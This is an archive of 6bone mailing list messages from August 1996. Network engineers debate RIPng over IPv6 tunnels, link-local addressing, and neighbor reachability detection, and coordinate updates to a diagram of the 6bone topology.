Our code currently depends on inria's implementation of
configured tunnel. When mrt receives a route via a tunnel, mrt
has to swap its actual nexthop with nexthop's compatible address
because a configured tunnel by inria is not a interface, but just
a route.

Of course, before running mrt, you should change your configured
tunnel to use a global ipv6 address as I posted before.

Mrt doesn't obtain routing information from the kernel when
starting. This is under development, so don't expect much
functions, please.

Enjoy.
Masaki

From majordom@ISI.EDU  Thu Aug  8 23:17:38 1996
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To: Steve Deering <deering@parc.xerox.com>
Date: Thu, 8 Aug 1996 23:17:38 +0000
Subject: Re: RIPng 
Cc: 6bone@isi.edu, shand@shand.reo.dec.com
Priority: normal
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> From:          Steve Deering <deering@parc.xerox.com>

> 
> Whether or not the endpoints of a tunnel need their own link-local addresses
> is an open issue.  I don't think RIPng should require that, since RIP
> classically has operated fine over unnumbered p-to-p links.
> 

I believe it would be much cleaner to require all interfaces 
including tunnels to have link-local addresses.  This way no special 
considerations have to be applied to p-to-p links.  Address tokens can 
be trivially generated for tunnel interfaces (e.g. use a local IPv4 
address for an IPv6-in-IPv4 tunnel or the token of the encapsulating 
interface for a IPV6-in-IPv6 tunnel).  What are benefits of the totally 
unnumbered IPv6 interfaces? I guess link-local address space 
conservation is not one of them :)

> ..
> Yes, I think it's important to be able to detect one-way link or interface
> failures, regardless of link type.  A few of us here at PARC are currently
> implementing an experimental "RIPng++" which has support for that, plus
> several other extensions.  We plan to test it out on DARTnet before deciding
> which specific extensions to suggest for RIPng itself.
> 

I thought NUD as specified in the ND spec could be quite sufficiently 
used on all types of links to verify two-way reachability.  Am I missing 
something?

> Steve
> 
Dimitry 

From majordom@ISI.EDU  Thu Aug  8 14:41:31 1996
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To: dhaskin@baynetworks.com
Cc: 6bone@isi.edu, shand@shand.reo.dec.com, deering@parc.xerox.com
Subject: Re: RIPng 
In-Reply-To: dhaskin's message of Thu, 08 Aug 96 16:17:38 -0800.
             <9608090318.AA25242@pobox.BayNetworks.com> 
Date: Thu, 8 Aug 1996 21:41:31 PDT
From: Steve Deering <deering@parc.xerox.com>
Message-Id: <96Aug8.214131pdt."75270"@digit.parc.xerox.com>
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Dimitry,

> I believe it would be much cleaner to require all interfaces 
> including tunnels to have link-local addresses.  This way no special 
> considerations have to be applied to p-to-p links.  Address tokens can 
> be trivially generated for tunnel interfaces (e.g. use a local IPv4 
> address for an IPv6-in-IPv4 tunnel or the token of the encapsulating 
> interface for a IPV6-in-IPv6 tunnel).  What are benefits of the totally 
> unnumbered IPv6 interfaces? I guess link-local address space 
> conservation is not one of them :)

Sounds reasonable to me.  I suppose we should move this discussion to the
main IPng list, to see if anyone has any killer counter-arguments.

> > Yes, I think it's important to be able to detect one-way link or interface
> > failures, regardless of link type.  A few of us here at PARC are currently
> > implementing an experimental "RIPng++" which has support for that, plus
> > several other extensions.  We plan to test it out on DARTnet before
> > deciding which specific extensions to suggest for RIPng itself.
> 
> I thought NUD as specified in the ND spec could be quite sufficiently 
> used on all types of links to verify two-way reachability.  Am I missing 
> something?

I don't think NUD is sufficient on multi-access links to verify that
multicast routing updates are reaching all neighboring routers.  NUD
serves to detect the unreachability only of those destinations or next-
hop routers to which one is sending unicast packets.  So yes, we could
depend on NUD on p-to-p links and tunnels, if we specified that RIPng
must use unicast destination addresses over those types of links; however,
we'd still have to employ a different strategy on multi-access links, and
presumably that same strategy would also work in the degenerate case
of a p-to-p link without requiring it to be treated as a special case.

Steve


From majordom@ISI.EDU  Fri Aug  9 22:48:55 1996
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To: deering@parc.xerox.com
Cc: shand@shand.reo.dec.com, 6bone@isi.edu
Subject: Re: RIPng 
In-Reply-To: Your message of "Thu, 8 Aug 1996 15:04:26 PDT"
References: <96Aug8.150426pdt."75270"@digit.parc.xerox.com>
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Date: Fri, 09 Aug 96 13:48:55 +0900
From: Atsushi Onoe <onoe@sm.sony.co.jp>
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> Whether or not the endpoints of a tunnel need their own link-local addresses
> is an open issue.  I don't think RIPng should require that, since RIP
> classically has operated fine over unnumbered p-to-p links.

In addition, I don't think RIPng should require link-local addresses
even over multicast network.

If RIPng doesn't use link-local addresses as the source address,
routed can determine the interface where RIPng comes by checking its
source address with address of interface.

Currently, routed require special interface to determine the
interface (ask ND, or extented recvfrom()).

Atsushi Onoe, WIDE Project

From majordom@ISI.EDU  Fri Aug  9 16:17:12 1996
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	(1.39.111.2/16.2) id AA155233033; Fri, 9 Aug 1996 14:17:13 +0200
Date: Fri, 9 Aug 1996 14:17:12 +0200 (METDST)
From: "Gudrun R. Dalgeir" <unigrd@unidhp1.uni-c.dk>
To: JOIN Project Team <join@uni-muenster.de>, Herluf Hansen <hha@tbit.dk>,
        Alain Durand <Alain.Durand@imag.fr>,
        Masaki Minami <minami@sfc.wide.ad.jp>
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Subject: UNI-C ipv6 web server
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Hello,

   I've set up an ipv6 web server giving status of the IPv6
activities at UNI-C. Please try it, 

   http://www6.ipv6.uni-c.dk/      ipv6
   http://www.ipv6.uni-c.dk/       ipv4


   regards,

---------------- oo000oo ----------------------------------
Gudrun Dalgeir             phone  : (+) 45 35878532
UNI-C                      fax    : (+) 45 35878890
Vermundsgade 5             e-mail : Gudrun.Dalgeir@uni-c.dk
DK-2100 Kbh. O             
-----------------------------------------------------------


From majordom@ISI.EDU  Fri Aug  9 06:19:30 1996
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Date: Fri, 9 Aug 96 10:19:30 EDT
From: dhaskin@baynetworks.com (Dimitry Haskin)
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To: deering@parc.xerox.com
Subject: Re: RIPng
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Steve,

> > 
> > I thought NUD as specified in the ND spec could be quite sufficiently 
> > used on all types of links to verify two-way reachability.  Am I missing 
> > something?
> 
> I don't think NUD is sufficient on multi-access links to verify that
> multicast routing updates are reaching all neighboring routers.  NUD
> serves to detect the unreachability only of those destinations or next-
> hop routers to which one is sending unicast packets.  So yes, we could
> depend on NUD on p-to-p links and tunnels, if we specified that RIPng
> must use unicast destination addresses over those types of links; however,
> we'd still have to employ a different strategy on multi-access links, and
> presumably that same strategy would also work in the degenerate case
> of a p-to-p link without requiring it to be treated as a special case.

I'm not sure that a router sending multicast routing updates should ever care
if his updates are reaching all neighboring routers (and if he learned that they
don't, what he is going to do about that?).  But receivers of routing
updates should be able to verify that they can reach the advertising router
if they chose to send traffic through it.  NUD is quite sufficient for
that.  And,  if a router relying on the reception of routing updates does
not get them or can't use them for lack of reachability to the advertiser,
someone will scream rather sooner than later. 

> Steve
> 
Dimitry

From majordom@ISI.EDU  Fri Aug  9 06:32:47 1996
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Date: Fri, 9 Aug 96 10:32:47 EDT
From: dhaskin@baynetworks.com (Dimitry Haskin)
Message-Id: <9608091432.AA13906@pobox.BayNetworks.com>
To: onoe@sm.sony.co.jp
Subject: Re: RIPng
Cc: 6bone@isi.edu
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> > Whether or not the endpoints of a tunnel need their own link-local addresses
> > is an open issue.  I don't think RIPng should require that, since RIP
> > classically has operated fine over unnumbered p-to-p links.
> 
> In addition, I don't think RIPng should require link-local addresses
> even over multicast network.
>
Well.. this would be fundamental deviation from the ND requirements.

> If RIPng doesn't use link-local addresses as the source address,
> routed can determine the interface where RIPng comes by checking its
> source address with address of interface.
>
The source address IS the address of the interface where RIPng comes from.

> Currently, routed require special interface to determine the
> interface (ask ND, or extented recvfrom()).
>
It sounds that routed is fundamentally broken.

> Atsushi Onoe, WIDE Project
>
Dimitry 

From majordom@ISI.EDU  Fri Aug  9 01:20:41 1996
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References: Your message of "Thu, 8 Aug 1996 15:04:26 PDT"
 <96Aug8.150426pdt."75270"@digit.parc.xerox.com>
Mime-Version: 1.0
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Date: Fri, 9 Aug 1996 08:20:41 -0700
To: Atsushi Onoe <onoe@sm.sony.co.jp>
From: Bob Hinden <hinden@ipsilon.com>
Subject: Re: RIPng
Cc: deering@parc.xerox.com, shand@shand.reo.dec.com, 6bone@ISI.EDU
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Atsushi,

>In addition, I don't think RIPng should require link-local addresses
>even over multicast network.

One of the motivations for RIPng (and other routing protocols) using
link-local addresses for exchanging routing information between nodes
running RIPng is to make it possible to renumber with out breaking the
routing adjacencies.  This is,  at least to me, an important capability.

Bob



From majordom@ISI.EDU  Fri Aug  9 08:22:53 1996
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To: dhaskin@baynetworks.com (Dimitry Haskin)
Cc: onoe@sm.sony.co.jp, 6bone@ISI.EDU
Subject: Re: RIPng 
In-Reply-To: Your message of "Fri, 09 Aug 1996 10:32:47 EDT."
             <9608091432.AA13906@pobox.BayNetworks.com> 
Date: Fri, 09 Aug 1996 12:22:53 -0400
From: Masaki Hirabaru <masaki@merit.edu>
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> > If RIPng doesn't use link-local addresses as the source address,
> > routed can determine the interface where RIPng comes by checking its
> > source address with address of interface.
> >
> The source address IS the address of the interface where RIPng comes from.

Current my solution is to let the ripng daemon know the
(link-local) address of the other end in configuration. When
receiving a ripng packet, the ripng daemon checks if its source
address is the destination address of one of tunnels, if fails
then asks ND. I'm not sure that letting the daemon know a remote
link-local address is good thing or not, but there is no ND
available on a tunnel.

> > Currently, routed require special interface to determine the
> > interface (ask ND, or extented recvfrom()).
> >
> It sounds that routed is fundamentally broken.
> 
> > Atsushi Onoe, WIDE Project
> >
> Dimitry 

On inria ipv6, they intend to use ND. Its method I saw in its
ping6 code is to try connect() and then getsockname() in order to
know the local interface where the sender host is on.

Masaki

From majordom@ISI.EDU  Fri Aug  9 02:28:58 1996
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To: Atsushi Onoe <onoe@sm.sony.co.jp>
Cc: deering@parc.xerox.com, 6bone@isi.edu
Subject: Re: RIPng 
In-Reply-To: onoe's message of Fri, 09 Aug 96 09:19:22 -0800.
             <199608091619.BAA26015@onoe2.sm.sony.co.jp> 
Date: Fri, 9 Aug 1996 09:28:58 PDT
From: Steve Deering <deering@parc.xerox.com>
Message-Id: <96Aug9.092858pdt."75270"@digit.parc.xerox.com>
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> We perhaps needs some extensions to bsd-api spec to determine interface
> where datagram comes in.

Exactly!

Steve


From majordom@ISI.EDU  Sat Aug 10 10:19:22 1996
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To: hinden@ipsilon.com
Cc: deering@parc.xerox.com, shand@shand.reo.dec.com, 6bone@ISI.EDU
Subject: Re: RIPng
In-Reply-To: Your message of "Fri, 9 Aug 1996 08:20:41 -0700"
References: <v0300780cae3106a5f05d@[205.226.1.20]>
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Date: Sat, 10 Aug 96 01:19:22 +0900
From: Atsushi Onoe <onoe@sm.sony.co.jp>
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Bob,

> One of the motivations for RIPng (and other routing protocols) using
> link-local addresses for exchanging routing information between nodes
> running RIPng is to make it possible to renumber with out breaking the
> routing adjacencies.  This is,  at least to me, an important capability.

Well... it sounds reasonable.  We perhaps needs some extensions to
bsd-api	spec to determine interface where datagram comes in.

Anyway, we are now implementing RIPng based on current RIPng draft,
and it will be available soon.

Atsushi


From majordom@ISI.EDU  Fri Aug  9 07:06:10 1996
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To: dhaskin@baynetworks.com (Dimitry Haskin)
Cc: 6bone@isi.edu, deering@parc.xerox.com
Subject: Re: RIPng 
In-Reply-To: dhaskin's message of Fri, 09 Aug 96 07:19:30 -0800.
             <9608091419.AA12922@pobox.BayNetworks.com> 
Date: Fri, 9 Aug 1996 14:06:10 PDT
From: Steve Deering <deering@parc.xerox.com>
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Dimitry,

> I'm not sure that a router sending multicast routing updates should ever care
> if his updates are reaching all neighboring routers (and if he learned that
> they don't, what he is going to do about that?).

Well, there are examples in multicast routing (e.g., broadcast-and-prune
style algorithms like DVMRP or PIM-DM), where I might end up waiting for
a prune from a neighbor that I can hear, but who can't hear me and will
therefore never send a prune.  If I don't happen to also have any unicast
traffic to send via that router, then NUD won't help me detect the failure.

But for the case of unicast routing (like RIPng), I think you're right --
doing NUD on the forwarded traffic would suffice.  In which case, it becomes
a question of whether or not it still might be better to use some other
approach -- I have always thought that routing protocols either do or ought
to do their own neighbor reachability verification, and that the need for
NUD in IPv6 was to handle the case where one or both of the neighbors is
a host.  I should probably flush that particular mindset.  But first, let
me explain what I had in mind, and let me know what you think.

What we are were planning on doing as part of our RIPng++ experiment was
to add periodic RIP Hello messages, which would carry a list of all routers
on that link from whom the sending router had heard a Hello within the last
n seconds (n = some small multiple of the Hello interval); if Router A fails
to see its own address in the Hellos from Router B, that indicates that
B cannot hear A and, therefore, A should ignore B's routing advertisements.
Relative to using NUD, this scheme would appear to have the following
advantages:

	- fewer packets than NUD on a busy link: N Hellos per interval,
	  instead of up to 2N(N-1) ND packets per interval; note that,
	  as in the router->host case, router->router NUD cannot take
	  advantage of upper-layer info to suppress the NUD pings.

	- can detect failure of a neighbor *before* sending any packets
	  to it, and therefore need not drop or delay any data packets
	  while waiting for NUD to time out.

The latter point seems important for RIP -- I can know not to update my
routing table with info from a deaf neighbor who offers the shortest path
to a given destination, rather than doing the table update and then later
learning that the neighbor is deaf when I send data packets into that black
hole (and then I have to remember not to believe subsequewnt routing messages
from that deaf neighbor, at least not for a while [in case it recovers its
hearing], ...).

The disadvantage of my proposal is that it is an additional mechanism that
is not strictly necessary.

> And, if a router relying on the reception of routing updates does
> not get them or can't use them for lack of reachability to the advertiser,
> someone will scream rather sooner than later. 

I'd like to do better than waiting for someone to scream.  We had an incident
here where an Ethernet board went dead in one direction in a machine
running mrouted, which caused a multicast packet loop that was very nasty
and very hard to diagnose.  I would have been much happier having my
router scream at me (via its logging mechanism) and eliminate the loop,
than having the users screaming at me.

Steve


From majordom@ISI.EDU  Fri Aug  9 13:08:04 1996
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To: Atsushi Onoe <onoe@sm.sony.co.jp>
Cc: hinden@ipsilon.com, deering@parc.xerox.com, shand@shand.reo.dec.com,
        6bone@isi.edu
Subject: Re: RIPng 
In-Reply-To: Your message of "Sat, 10 Aug 96 01:19:22 +0900."
             <199608091619.BAA26015@onoe2.sm.sony.co.jp> 
Date: Fri, 09 Aug 96 17:08:04 -0400
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You will see an extended API spec that supports interfaces by Mid
September and hopefully earlier.   And other parts too. 

/jim

From majordom@ISI.EDU  Fri Aug  9 23:26:32 1996
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To: dhaskin@baynetworks.com
Cc: 6bone@isi.edu
Subject: Re: RIPng
In-Reply-To: Your message of "Fri, 9 Aug 96 10:32:47 EDT"
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From: Kazuhiko Yamamoto =?ISO-2022-JP?B?GyRCOzNLXE9CSScbKEI=?=  <kazu@is.aist-nara.ac.jp>
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From: dhaskin@baynetworks.com (Dimitry Haskin)
Subject: Re: RIPng
Date: Fri, 9 Aug 96 10:32:47 EDT

> > If RIPng doesn't use link-local addresses as the source address,
> > routed can determine the interface where RIPng comes by checking its
> > source address with address of interface.
> >
> The source address IS the address of the interface where RIPng comes from.

I don't understand this. If a source address is link-local, the
address isn't unique over multiple links.  So, we can't figure out the
interface where the packet comes from by checking only the source
address.

If routed opens one socket per one neighbor, we can figure out an
input interface:

	(1) BSD implementation saves a pointer to the input interface
	   in mbuf(i.e. the received packet).
	(2) Find a PCB where not only group addresses match but also
	   a pointer in PCB and the pointer in the packet match.
	   (Of course, we need to modify the PCB data structure.)
	(3) Pass the packet to routed via the PCB. The socket tells
	   routed the neighbor which sent the packet.

Unfortunately, some routing daemon don't take this way. That is, just
open one unbinded-and-unconnected socket for all neighbors then use
sendto() function. So, Atushi said that we need a new API.

This problem can be generalized to "an address scope problem" which
the Internet has not experienced. We WIDE project had two meetings to
discuss this problem but we have not achieved even rough consensus
yet. 

It is felt that there are many models for address scope and each has
both advantages and disadvantages. I'm now hesitating to submit an ID
about this problem which I wrote weeks ago. WIDE project is planning
to have one more meeting on this problem around 8/23.

--Kazu

From majordom@ISI.EDU  Sun Aug 11 12:44:49 1996
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To: Steve Deering <deering@parc.xerox.com>
Date: Sun, 11 Aug 1996 12:44:49 +0000
Subject: Re: RIPng 
Cc: 6bone@isi.edu
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Steve,

> Dimitry,
> 
> > I'm not sure that a router sending multicast routing updates should ever care
> > if his updates are reaching all neighbouring routers (and if he learned that
> > they don't, what he is going to do about that?).
> 
> Well, there are examples in multicast routing (e.g., broadcast-and-prune
> style algorithms like DVMRP or PIM-DM), where I might end up waiting for
> a prune from a neighbor that I can hear, but who can't hear me and will
> therefore never send a prune.  If I don't happen to also have any unicast
> traffic to send via that router, then NUD won't help me detect the failure.
>
I was talking about RIPng.  I agree if a routing  protocol 
(unicast or multicast) relies on two-way communications for its 
integrity it should be able to detect failures in such communications.

> But for the case of unicast routing (like RIPng), I think you're right --
> doing NUD on the forwarded traffic would suffice.  In which case, it becomes
> a question of whether or not it still might be better to use some other
> approach -- I have always thought that routing protocols either do or ought
> to do their own neighbor reachability verification, and that the need for
> NUD in IPv6 was to handle the case where one or both of the neighbors is
> a host.  I should probably flush that particular mindset.  But first, let
> me explain what I had in mind, and let me know what you think.
> 
> What we are were planning on doing as part of our RIPng++ experiment was
> to add periodic RIP Hello messages, which would carry a list of all routers
> on that link from whom the sending router had heard a Hello within the last
> n seconds (n = some small multiple of the Hello interval); if Router A fails
> to see its own address in the Hellos from Router B, that indicates that
> B cannot hear A and, therefore, A should ignore B's routing advertisements.
> Relative to using NUD, this scheme would appear to have the following
> advantages:
> 
> 	- fewer packets than NUD on a busy link: N Hellos per interval,
> 	  instead of up to 2N(N-1) ND packets per interval; note that,
> 	  as in the router->host case, router->router NUD cannot take
> 	  advantage of upper-layer info to suppress the NUD pings.
> 
> 	- can detect failure of a neighbor *before* sending any packets
> 	  to it, and therefore need not drop or delay any data packets
> 	  while waiting for NUD to time out.
> 
> The latter point seems important for RIP -- I can know not to update my
> routing table with info from a deaf neighbor who offers the shortest path
> to a given destination, rather than doing the table update and then later
> learning that the neighbor is deaf when I send data packets into that black
> hole (and then I have to remember not to believe subsequewnt routing messages
> from that deaf neighbor, at least not for a while [in case it recovers its
> hearing], ...).
> 
> The disadvantage of my proposal is that it is an additional mechanism that
> is not strictly necessary.
>
It seems as a nice simple mechanism.  As far as RIPng is concerned, 
I have the following reservations:

- in places where RIP is still used between routers most of the 
routers (typically in stubs domains) don't generate routing 
advertisements themselves but only listen to RIP advertisements 
from one or two routers in a transit domain.  In such typical setups 
the proposed mechanism would not work unless you also require for 
RIP updates to be always sent even if only empty one.

- I view RIPv6 as a temporary solution for routing exchange between 
routers -- only to buy time until OSPFv6 and IDRP are developed. If 
you agree with this premiss, it would be difficult to justify an 
additional effort beyond research purposes to improve RIPv6 in its
operation between routers.  As far as RIP snooping by hosts, it is 
quite common today and I believe, good or bad, it, the most probably, 
will continue to be used in IPv6 by multihomed hosts.  Your proposal 
would not not help here either.

> > And, if a router relying on the reception of routing updates does
> > not get them or can't use them for lack of reachability to the advertiser,
> > someone will scream rather sooner than later. 
>
> I'd like to do better than waiting for someone to scream.  We had an incident
> here where an Ethernet board went dead in one direction in a machine
> running mrouted, which caused a multicast packet loop that was very nasty
> and very hard to diagnose.  I would have been much happier having my
> router scream at me (via its logging mechanism) and eliminate the loop,
> than having the users screaming at me.
>
Sounds reasonable.

> Steve
> 
Dimitry

From majordom@ISI.EDU  Sun Aug 11 12:56:54 1996
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To: Kazuhiko Yamamoto  <kazu@is.aist-nara.ac.jp>
Date: Sun, 11 Aug 1996 12:56:54 +0000
Subject: Re: RIPng
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Kazu,

Please ignore my reply to Atsushi mail. I just misunderstood the 
problem of the BSD API.  Thanks for detail explanation.

Dimitry
 
> 
> > > If RIPng doesn't use link-local addresses as the source address,
> > > routed can determine the interface where RIPng comes by checking its
> > > source address with address of interface.
> > >
> > The source address IS the address of the interface where RIPng comes from.
> 
> I don't understand this. If a source address is link-local, the
> address isn't unique over multiple links.  So, we can't figure out the
> interface where the packet comes from by checking only the source
> address.
> If routed opens one socket per one neighbor, we can figure out an
> input interface:
> 
> 	(1) BSD implementation saves a pointer to the input interface
> 	   in mbuf(i.e. the received packet).
> 	(2) Find a PCB where not only group addresses match but also
> 	   a pointer in PCB and the pointer in the packet match.
> 	   (Of course, we need to modify the PCB data structure.)
> 	(3) Pass the packet to routed via the PCB. The socket tells
> 	   routed the neighbor which sent the packet.
> 
> Unfortunately, some routing daemon don't take this way. That is, just
> open one unbinded-and-unconnected socket for all neighbors then use
> sendto() function. So, Atushi said that we need a new API.
> 
> This problem can be generalized to "an address scope problem" which
> the Internet has not experienced. We WIDE project had two meetings to
> discuss this problem but we have not achieved even rough consensus
> yet. 
> 
> It is felt that there are many models for address scope and each has
> both advantages and disadvantages. I'm now hesitating to submit an ID
> about this problem which I wrote weeks ago. WIDE project is planning
> to have one more meeting on this problem around 8/23.
> 
> --Kazu
> 
> 

From majordom@ISI.EDU  Sun Aug 11 23:37:54 1996
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From: Francis Dupont <Francis.Dupont@inria.fr>
To: Masaki Hirabaru <masaki@merit.edu>
Cc: dhaskin@baynetworks.com (Dimitry Haskin), onoe@sm.sony.co.jp,
        6bone@isi.edu
Subject: Re: RIPng 
In-Reply-To: Your message of Fri, 09 Aug 1996 12:22:53 EDT.
             <199608091622.MAA09422@merit.edu> 
Date: Sun, 11 Aug 1996 21:37:54 +0200
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 In your previous mail you wrote:

   On inria ipv6, they intend to use ND. Its method I saw in its
   ping6 code is to try connect() and then getsockname() in order to
   know the local interface where the sender host is on.
   
=> it is not exactly the idea. The ICMPv6 user interface
doesn't compute the checksum for you then you need to know
the source address. You can provide one or simulate the
source address selection, ie do a connect() then a getsockname()
(of course the source address is printed out ASAP for obvious
routing debug purposes :-). The source address selection is
a real issue, BSD OSs give a good control over it but it is
very easy to get a bad address (link-local address for a foreign
destination for instance :-).

Regards

Francis.Dupont@inria.fr

PS: Alain Durand has tried some ways to put a RFC1897 address
on a (configured) tunnel, there will be a note about this
in the next release (in some weeks).

From majordom@ISI.EDU  Mon Aug 12 10:23:24 1996
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To: 6bone@ISI.EDU
Cc: shand@shand.reo.dec.com, deering@parc.xerox.com
Subject: Re: RIPng 
In-Reply-To: Your message of "Fri, 09 Aug 96 14:06:10 PDT."
             <96Aug9.140611pdt."75270"@digit.parc.xerox.com> 
Date: Mon, 12 Aug 96 09:23:24 +0100
From: (Mike Shand REO2 G/C2 DTN:830-4424) <shand@shand.reo.dec.com>
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Steve,

> But for the case of unicast routing (like RIPng), I think you're right --
> doing NUD on the forwarded traffic would suffice.  In which case, it becomes
> a question of whether or not it still might be better to use some other
> approach -- I have always thought that routing protocols either do or ought
> to do their own neighbor reachability verification, and that the need for
> NUD in IPv6 was to handle the case where one or both of the neighbors is
> a host.  I should probably flush that particular mindset.  

I must confess that I too have that mindset. 

> 	- fewer packets than NUD on a busy link: N Hellos per interval,
> 	  instead of up to 2N(N-1) ND packets per interval; note that,
> 	  as in the router->host case, router->router NUD cannot take
> 	  advantage of upper-layer info to suppress the NUD pings.
>

This seems like a big win to me. Maybe not for RIP which traditionally
is slow to reconfigure, but certainly for OSPF and (dare I say it) integrated
IS-IS which tend to be used in situations where very rapid response to
router failure is required. If the interval is of the order of a second
the extra load from the full mesh conectivity checks becomes significant.
However, even for RIP is seems to me that the efficency gain is worthwhile.
Of course this is not particularly relevant to the tunnel case which first
prompted this discussion.
 
> 	- can detect failure of a neighbor *before* sending any packets
> 	  to it, and therefore need not drop or delay any data packets
> 	  while waiting for NUD to time out.

Presumably since the RIP packets are multicast you don't trigger NUD on the
sending of the RIP packets themselves rather than the data. Would that also
be true over a pt-pt link (e.g. tunnel)? 

> The disadvantage of my proposal is that it is an additional mechanism that
> is not strictly necessary.

Yes, but it doesn't rely on a somewhat tenuous connection between
the operation of the routing protocol and the forwarding process.

On the other hand you could argue that such a connection is exactly what you
do want. Examples abound of problems arising where the connectivity
indicated by the routing protocol neighbor detection is different from that
actually existing for the data itself. This is presumably one reason for
the (to my mind) somewhat incestuous relationship of IP routing protocols
running over IP. Of course that doesn't completely remove the problem, but
it goes some way to reduce its likelyhood. 

On balance I would feel more comfortable with an explicit mechanism along the
lines of Steve's proposal. OSPF or course already has such a mechanism.

	Mike

From majordom@ISI.EDU  Wed Aug 14 00:59:02 1996
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Date: Wed, 14 Aug 1996 07:59:02 -0700
To: 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone logical drawing
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6bone Folk,

I've drawn a simple overview of the 6bone, derived from the info on the
WIDE 6bone drawing (thanks to Munechika Sumikawa and Kazu Yamamoto), but
hiding the WIDE inner detail.

Please let me know of errors and/or suggested format changes...and
especially incorrect network interconnect details. Also I'll need to know
when new stuff is added in (Geert Jan or ...??)

Clearly this picture form will rapidly become outdated, but I'll try to
adapt it as the 6bone grows.  It seems important (to me anyway) to be able
to be able to pictorially describe the 6bone to the curious.

So...hopefully this is useful...but let me know if it isn't.

It is pointed to on the 6bone home page:

	http://www-6bone.lbl.gov/6bone/6bone-drawing.GIF


Also, I've finally put the Montreal 6bone bof minutes on the 6bone pages as
well.  Sorry it's taken so long, but for US Govt. funded folk, summers
ain't fun with budgets and personnel issues :-( .


Thanks,

Bob



From majordom@ISI.EDU  Wed Aug 14 02:23:19 1996
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Date: Wed, 14 Aug 1996 09:23:19 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: first mods to 6bone diagram
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Courtesy of some updates from Alain, a new 6bone picture is now installed
to show JOIN/DE and G6/FR connectivity.

As before, corrections/updates appreciated!


Thanks,

Bob

---------
=46rom: "Alain Durand" <Alain.Durand@imag.fr>
Date: Wed, 14 Aug 1996 17:54:26 +0200
To: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: 6bone logical drawing

It is really nice to have this map!
here a first update for the G6:

I have now tunnels to:
- UNI-C (dk)  5f07:2b00:82e1:e700::/64
- WIDE (jp)   5f09:c400::/32
- ULISPON (pt) 5f0c:b300:c043:4c00::/64
- JOIN (de) 5f04:fb00::/32
- UNH-BAY-DEC (us) 5f02:3000::/32 && 5f0d:e900:ce98:a300::/64

I will shortly add a tunnel to RIPE and maybe some others to the US

Yours,

	- Alain.



From majordom@ISI.EDU  Wed Aug 14 03:13:07 1996
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From: rja@cisco.com (Ran Atkinson)
Date: Wed, 14 Aug 1996 10:13:07 PDT
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As I've already noted to Bob Fink, the tunnels between cisco/Sun and
cisco/MERIT aren't noted on his current drawing.  Those have been up
and running for a while now.


-- 

From majordom@ISI.EDU  Wed Aug 14 06:46:49 1996
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Date: Wed, 14 Aug 1996 13:46:49 -0700
To: rja@cisco.com (Ran Atkinson)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: 6bone map
Cc: 6bone@isi.edu
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At 10:13 AM -0700 8/14/96, Ran Atkinson wrote:
>As I've already noted to Bob Fink, the tunnels between cisco/Sun and
>cisco/MERIT aren't noted on his current drawing.  Those have been up
>and running for a while now.

I've added Sun and MERIT, but need the ASN nos. they are using.

Bob



From majordom@ISI.EDU  Wed Aug 14 09:26:22 1996
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Date: Wed, 14 Aug 1996 16:26:22 -0700
To: 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Yet Anoter Picture (YAP)  ...and a few comments
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6bone Folk,

I have added and corrected from various data and a newer diagram is on the
web.  I've decided to number them in the title block, this one being
version 5.

I realize that several of the tunnels may not be up yet, but decided to err
on the side of too much info rather too little :-)


A few comments come to mind from various things mentioned to me during this
process:

1.  many seem to like having this diagram, but a valid point has been made
that the prefix numbers may be less than useful.  You really need more than
that from some registry anyhow (the point of the next comment).  I propose
dropping the prefix numbers.

2.  given the difficulty in culling this info accurately, I would propose
that in the future I add only tunnels that have been registered with the
6bone registry run by RIPE-NCC/Geert Jan.

3.  given the current randomness of tunnels, we may find RIPng beginning to
have difficulty converging - maybe not yet, but keep up this pace of
everyone randomly connecting and we probably will have problems.  I propose
we have a bit of dicussion about at least controlling the topology of the
nets/tunnels that we RIP over.  This area is not my specialty to say the
least, but it does look like  a problem ahead of us to me.


Please send comments on all this to the list.  Note my goal here is to make
6bone deployment work the best way...if you want to change something,
please comment on it...others have.


Thanks,

Bob



From majordom@ISI.EDU  Fri Aug 16 01:22:52 1996
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Date: Fri, 16 Aug 1996 08:22:52 -0700
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From: Bob Fink LBNL <RLFink@lbl.gov>
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I've added a pointer to the 6bone email archive on the 6bone mail list web
page (courtesy of Mike Carlton at ISI).


Bob



From majordom@ISI.EDU  Mon Aug 19 11:23:23 1996
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Subject: Re: 6bone logical drawing 
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Bob,

Thanks for doing this its very helpful.

/jim

From majordom@ISI.EDU  Thu Aug 22 23:57:43 1996
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Date: Fri, 23 Aug 1996 06:57:43 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: new 6bone diagram (version 7)
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I've put up version 7 (Aug 23) of the 6bone diagram.  Shows new link from:

	Cisco/US to NETLAG/US

Also have corrected Craig Metz' site name to Inner as I had put it on the
map incorrectly before (sorry Craig).

Have removed prefixes as almost no comments were received about my removing
them, and I'm getting tighter on space.  I think Craig Metz is correct when
he says this picture should be for link/site overview viewing and not for
data that's best kept elsewhere.

Am only showing sites that I've been told are really up.  Sites/links that
may be up, but I've not been told are:

	HP/US to Cisco/US
	ISI-W/US to Cisco/US
	INRIA/FR to G6/FR
	ULisboa/PT to RIPE/NL

As I've said before, showing all sites connected to the 6bone may be best
for now, as we are just getting this going, but eventually the routing
backbone may be all that should be (can be) shown.


As always, comments to me or the list!


Thanks,

Bob



From majordom@ISI.EDU  Fri Aug 23 08:17:56 1996
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Subject: Re: new 6bone diagram (version 7) 
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Bob,

Be good to get a list of what routers (hardware numbers etc.) are
running on the 6bone too.

In a FAQ sheet not necessarilty on the drawing.  


thanks
/jim

From majordom@ISI.EDU  Mon Aug 26 09:58:58 1996
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Date: Mon, 26 Aug 1996 16:58:58 -0700
To: "Kevin M. Lahey" <kml@nas.nasa.gov>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: request for a 6bone feed
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Kevin,

At 1:39 PM -0700 8/26/96, Kevin M. Lahey wrote:
>Thanks for all of your hard work on the 6bone diagram -- it certainly
>is helpful to see how things are proceeding!  I've noticed that
>quite alot of sites seem to be appearing without any requests
>showing up on the 6bone list -- I presume that there is some out of
>band signalling going on, and I'd like to be a part of it.  :-)
